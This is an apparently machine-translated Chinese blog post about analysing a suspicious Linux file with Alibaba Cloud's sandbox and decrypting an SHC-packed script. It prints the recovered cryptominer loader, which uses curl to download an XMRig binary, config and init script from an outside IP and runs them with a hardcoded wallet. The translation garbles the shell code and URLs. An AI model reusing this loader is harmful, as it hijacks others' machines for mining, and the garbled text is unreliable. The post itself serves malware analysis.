记一次阿里云Linux沙箱体验

admin 2022年12月17日04:10:51评论132 views字数 2803阅读9分20秒阅读模式

原来

近期收到安全的个安全告警告警告警告警告警告警告警

了也不高。

记一次阿里云Linux沙箱体验

分析路径

自己在IDA分析一波,一无所获,没有发现任何其他的函数/字符串之类的

记一次阿里云Linux沙箱体验

就有些事情的揭秘,但猜测文件应该是看起来被人发现的有处理过的东西,具体是什么东西出来的

记一次阿里云Linux沙箱体验

然后提交工单,问为什么会看到阿里的结果,并显示出这种恶意的云行为,并建议我用阿里沙箱文件的具体恶意行为。阿里云https://ti.aliyun.com/#/sasti.com/#/sasti.com/#/sasti.com/#/sasti.com/#/sasti
沙箱提供的报告中显示的这个文件中的标签是这个文件里有两个文件云到的,在行为文件中看到了两个文件,在该文件下载中,并且还执行了起来

记一次阿里云Linux沙箱体验

看到一个文件被 SHC 加密的提示,并且是我的猜测记一次阿里云Linux沙箱体验

并且发起了http网络连接,看链接是下载文件

记一次阿里云Linux沙箱体验

在文件行为里看到样本释放给了下载的这个文件并获得授权

记一次阿里云Linux沙箱体验

看到这里是XMRIG文件链接现在想下载的配置文件的配置文件失败了。

恶意还原文件

阿里的文件被云沙箱给了相关的c的提示,在网上
SHC的源码:https
: //githubmaster/neurobin/blobmaster/src/shc。工具:https://github.com/yanncam/UnSHc

[ root@iZbp17evh28m5jciu11n3qZ tmp ] #./unshc.sh d1be07f497cdf665fd019208ec921dc2
_ _ _____ _ _
| | | | /___ | | | | | | | | _ __ ` --。| | _ | | ___
| | | | ' _ ` --。 _ | / __ | | | _ | | | | / _ _/ / | | | ( __
_ __/ | _ | |_ _ ___/ _ | | _/ _ __ |--- UnSHc - shc 解密器。--- 版本:0 .8------------------------------UnSHc 用于解密使用 SHc 加密的脚本Luiz Octavio Duarte 的原创创意 LOD 由 Yann CAM 更新和现代化-SHc:[ http://www.datsi.fi.upm.es/~frosal/ ] -UnSHc:[ https://www.asafety.fr/unshc-the-shc-decrypter/ ]------------------------------[ * ]输入要解密的文件名[ d1be07f497cdf665fd019208ec921dc2 ] [ + ] ARC4 地址调用候选:[ 0x479630 ] [ * ]提取地址[ 0x479630 ]14 个arc4 ()调用的每个 args 地址和大小... [ - ]无法使用 ARC4 地址调用[ 0x479630 ] ... [ + ]提取14 个arc4 args 的地址ARC4 地址调用候选:[ 0x42ff10 ] [ * ]提取地址[ 0x42ff10 ]14 个arc4 ()调用的每个 args 地址和大小... [ - ]无法使用 ARC4 地址调用[ 0x42ff10 ]提取14 个arc4 args 的地址... [ - ]无法定义 arc4 ()调用地址...

是发现失败了,项目描述是shc加密的特征调用14次arc4,但实际上我在A调用了15次

记一次阿里云Linux沙箱体验

这一次重演了另一个还原的办法,因为它最终要解密出bash并执行,我可以挂钩下执行,扔出最后执行的bash代码

#!/bin/bashrm -rf /dev/shm/.x/tempdirectory = /var/tmp/.xrx wallet = 4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL filetypexrx = "/var/tmp/.xrx/xrx: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped" checkfiletype = $( file $directory /xrx ) ifrunning = $( pgrep xrx ) ### 检查 /var/tmp/.xrx 是否仍然存在于系统中if [[ -d " $directory " ]] ; 然后回显 $目录存在。” else mkdir $directory fi### 基本检查 xrx 是否不是 ELF 可执行文件,或者它是否不可执行/不存在if [ " $filetypexrx " = " $checkfiletype " ] || [ -x $目录/xrx ] ; 然后回显 “矿工完好” ,否则回显 “矿工丢失/损坏” chattr -ia $directory /xrxrm -rf $目录/xrx卷曲141 .95.19.91:8080/xrx/xrx -o $directory /xrxchmod +x $directory /xrx fi ###如果grep $wallet $directory /config.json -q ,请确保配置中的钱包没有更改然后回显“钱包完好无损” ,否则回显“钱包丢失/篡改” chattr -ia $directory /config.json rm -rf $目录/config.jsoncurl 141 .95.19.91:8080/xrx/config.json -o $directory /config.json fi ### 确保 init.sh 存在,如果! [ -x $目录/init.sh ] ; 然后 显“init.sh 丢失/损坏” chattr -ia $directory /init.shrm -rf $目录/init.sh卷曲141 .95.19.91:8080/xrx/init.sh -o $directory /init.shchmod +x $directory /init.sh else echo "init.sh 原封不动" fi if test -z " $ifrunning " ; 然后echo "xrx not running,starting init.sh" $directory /init.sh fi

脚本的就很清晰,下载了多个,包括一个对话文件和配置,还有初始化文件的进程文件。

最后

阿里沙中间用着这个感觉检测还是不错的,但是也有收集。看起来不会、也能有可能有几个漂亮的文件有才华。刚才遇上不同的时候
还是ok了,而且应该云关注还会有新的功能,继续吧

阿里云沙箱地址

https://ti.aliyun.com/#/sastiFile


来源先知(https://xz.aliyun.com/t/11522)


如有侵权,请联系删除

记一次阿里云Linux沙箱体验

好文推荐

记一次阿里云Linux沙箱体验
红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器

欢迎关注 系统安全运维

原文始发于微信公众号(系统安全运维):记一次阿里云Linux沙箱体验

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月17日04:10:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次阿里云Linux沙箱体验http://cn-sec.com/archives/1465726.html

发表评论

匿名网友 填写信息